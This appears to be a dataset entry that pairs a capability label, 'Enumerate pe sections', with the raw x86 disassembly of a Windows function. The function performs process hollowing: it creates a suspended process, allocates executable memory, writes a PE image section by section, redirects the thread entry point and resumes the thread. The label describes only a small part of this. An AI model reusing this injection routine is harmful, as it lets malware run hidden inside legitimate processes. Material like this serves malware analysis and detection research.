Function at 0x401290
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x416310
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xa8
push ebx
push esi
push edi
mov eax, dword [0x437614]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x1c], 0
call fcn.0040725d
mov esi, eax
mov ecx, 0x437fbc
call fcn.00403920
mov ecx, eax
mov eax, esi
xor edx, edx
div ecx
mov dword [ebp - 0x40], edx
mov edx, dword [ebp - 0x40]
push edx
mov ecx, 0x437fbc
call fcn.00402bc0
mov ecx, eax
call fcn.004034f0
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0x4550
jne 0x401552
push 0x10
push 0
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00404e00
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xb8]
push edx
call fcn.00404e00
add esp, 0xc
mov eax, dword [0x437f98]
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0xb8]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x44]
push eax
call dword [ebp - 0x48]
test eax, eax
je 0x401377
mov byte [ebp - 0x11], 1
jmp 0x40137b
mov byte [ebp - 0x11], 0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 0x12], cl
movzx edx, byte [ebp - 0x12]
cmp edx, 1
jne 0x401552
mov eax, dword [0x437f9c]
mov dword [ebp - 0x4c], eax
push 4
push 0x1000
push 4
push 0
call dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ecx], 0x10007
mov edx, dword [0x437fa0]
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x50]
test eax, eax
je 0x401552
mov edx, dword [0x437fa4]
mov dword [ebp - 0x54], edx
push 0x40
push 0x3000
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [ebp - 0x54]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x1c]
push edx
push 0x417368
call fcn.004039f0
add esp, 8
jmp 0x401414
mov dword [ebp - 4], 0xffffffff
jmp 0x401424
cmp dword [ebp - 0x1c], 0
jne 0x40145c
mov eax, dword [0x437fa8]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x58]
mov edx, dword [ebp + 8]
push edx
call fcn.00401290
add esp, 4
mov eax, dword [0x437fac]
mov dword [ebp - 0x5c], eax
push 0
call dword [ebp - 0x5c]
mov eax, 1
jmp 0x401554
cmp dword [ebp - 0x1c], 0
jle 0x401552
mov ecx, dword [0x437fb0]
mov dword [ebp - 0x60], ecx
push 0
mov edx, dword [ebp - 0x18]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x60]
mov dword [ebp - 0x24], 0
jmp 0x401499
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x24], eax
jge 0x4014eb
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
imul eax, dword [ebp - 0x24], 0x28
lea ecx, [edx + eax + 0xf8]
mov dword [ebp - 0x28], ecx
mov edx, dword [0x437fb0]
mov dword [ebp - 0x64], edx
push 0
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 0x3c]
push eax
call dword [ebp - 0x64]
jmp 0x401490
mov ecx, dword [0x437fb0]
mov dword [ebp - 0x68], ecx
push 0
push 4
mov edx, dword [ebp - 0x18]
add edx, 0x34
push edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x3c]
push edx
call dword [ebp - 0x68]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp - 0x20]
mov dword [edx + 0xb0], ecx
mov eax, dword [0x437fb4]
mov dword [ebp - 0x6c], eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call dword [ebp - 0x6c]
mov eax, dword [0x437fa8]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [ebp - 0x70]
push 0
call fcn.00407247
xor eax, eax
jmp 0x401554
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret